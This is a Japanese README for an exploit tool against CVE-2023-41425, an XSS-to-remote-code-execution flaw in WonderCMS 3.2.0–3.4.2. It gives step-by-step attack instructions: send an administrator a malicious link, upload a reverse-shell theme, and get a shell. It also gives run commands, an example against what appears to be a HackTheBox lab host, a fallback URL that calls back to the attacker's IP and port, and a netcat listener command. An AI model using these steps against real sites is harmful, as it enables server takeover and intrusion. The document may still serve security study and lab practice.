CVE-2023-41425-WonderCMS-Authenticated-RCE

説明

WonderCMS v3.2.0 - v3.4.2 は脆弱です。リモート攻撃者は、クロスサイトスクリプティング（XSS）エクスプロイトを使用してサーバーを完全に制御できます（教育目的のみ）。以下がその計画です:

動作の仕組み

このエクスプロイトは、WonderCMSのinstallModuleコンポーネントを悪用して、任意のコードを実行するように細工されたスクリプトを忍び込ませます。

セットアップ

• ツール: exploit.py
• 必要なもの:
  • WonderCMSがインストールされているターゲットURL（管理者パスワードは不要）。
  • 攻撃者のマシンのIP。
  • リバースシェルリスナー用のポート。

実行手順

1. スクリプトはxss.jsというファイルを生成します。このJavaScript兵器は、反射型XSSを悪用するように設計されています。
2. 悪意のあるリンクを出力します。そのリンクを管理者に送信します。
3. 管理者（ログインユーザー）があなたのリンクを開いたりクリックしたりすると、魔法が起こります:

• バックグラウンドでリクエストがユーザーの同意なく発行されます。
• テーマ/プラグインのアップロード機能を使用して、リバースシェルペイロードがアップロードされます。

4. アップロードされると、ペイロードが実行され、ターゲットサーバーへのリバースシェル接続が取得されます。

python3 exploit.py <URL> <YOUR_IP> <YOUR_PORT>

例

python3 exploit.py http://sea.htb/loginURL 10.10.14.20 1234

フェイルセーフ:

リバースシェルが自動的にトリガーされない場合は、次のURLにアクセスしてください:

http://<TARGET_URL>/themes/revshell-main/rev.php?lhost=<YOUR_IP>&lport=<YOUR_PORT>

注意:

以下のコマンドでリスナーを起動することを忘れないでください:

nc -lvp 4444

クレジット

prodigiousMindが脆弱性を発見・報告しました https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413